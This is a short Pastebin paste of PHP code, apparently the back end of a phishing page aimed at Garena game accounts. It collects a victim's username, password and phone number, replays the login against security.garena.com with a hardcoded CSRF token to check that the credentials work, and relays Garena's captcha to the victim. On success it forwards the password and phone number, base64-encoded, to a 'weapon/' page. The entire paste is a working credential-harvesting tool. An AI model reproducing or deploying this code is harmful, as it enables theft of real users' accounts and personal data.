Guest User

tolongin mas

a guest
Apr 17th, 2016
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.89 KB | None | 0 0
  1. <?php
  2.                             if(isset($_POST['submit_button'])){
  3.                                 $password2 = $_POST['password2'];
  4.                                 $password = $_POST['password'];
  5.                                 $username=$_POST['username'];
  6.                                 $c1 = $_POST['recaptcha_response_field'];
  7.                                 $c2 = $_POST['recaptcha_challenge_field'];
  8.                                 $hp=$_POST['phone'];
  9.  
  10.  
  11. $url="http://security.garena.com/login/";
  12. if(empty($_POST['recaptcha_response_field'])){
  13.                             $postdata="csrfmiddlewaretoken=j6sfOk4YL9rbB128543AE1kGWz5xFC8I&username=".$username."&password=".$password2."&submit_button=Login";}
  14.                             else {
  15.                                
  16. $postdata="csrfmiddlewaretoken=j6sfOk4YL9rbB128543AE1kGWz5xFC8I&username=".$username."&password=".$password2."&recaptcha_challenge_field=".$c2."&recaptcha_response_field=".$c1."&submit_button=Login";                        
  17.                             }
  18. $ch = curl_init();
  19. curl_setopt ($ch, CURLOPT_URL, $url);
  20. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  21. curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  22. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  23. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  24. curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
  25. curl_setopt ($ch, CURLOPT_POST, 1);
  26. $headers  = array();
  27. $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:45.0) Gecko/20100101 Firefox/45.0';
  28. $headers[] = 'Cookie: csrftoken=j6sfOk4YL9rbB128543AE1kGWz5xFC8I';
  29.  
  30. curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
  31. curl_setopt ($ch, CURLOPT_HEADER, 1);
  32. $result = curl_exec ($ch);
  33. if(preg_match('#302 FOUND#', $result)) {
  34.     header("Location:weapon/?username=".$username.'&sesID='.base64_encode($password).'&token='.base64_encode($hp));
  35. }elseif(preg_match('#please enter verification code#', $result)){
  36.     function setelah($string, $substring) {
  37.   $pos = strpos($string, $substring);
  38.   if ($pos === false)
  39.    return $string;
  40.   else  
  41.    return(substr($string, $pos+strlen($substring)));
  42. }
  43. function sebelum($string, $substring) {
  44.   $pos = strpos($string, $substring);
  45.   if ($pos === false)
  46.    return $string;
  47.   else  
  48.    return(substr($string, 0, $pos));
  49. }
  50. $hasil = setelah($result, "<!-- Google Recaptcha -->");
  51. $hasil1 = sebelum($hasil, "</noscript>");
  52. $simpul = '<tr>
  53.                                <th>&nbsp;</th>
  54.                                <td colspan="2" style="padding-left:2px; padding-bottom:15px;">'.$hasil1.'</noscript></td>
  55.                                <td>
  56.                                </td>
  57.                            </tr>';
  58. $dataimage =  $simpul.'</span>';
  59. $pesan = $dataimage;
  60. }else {
  61.     $pesan =  'Username/Password Salah !';
  62. }
  63.  
  64.  
  65.  
  66.                             }
  67.                             ?>
Add Comment
Please, Sign In to add comment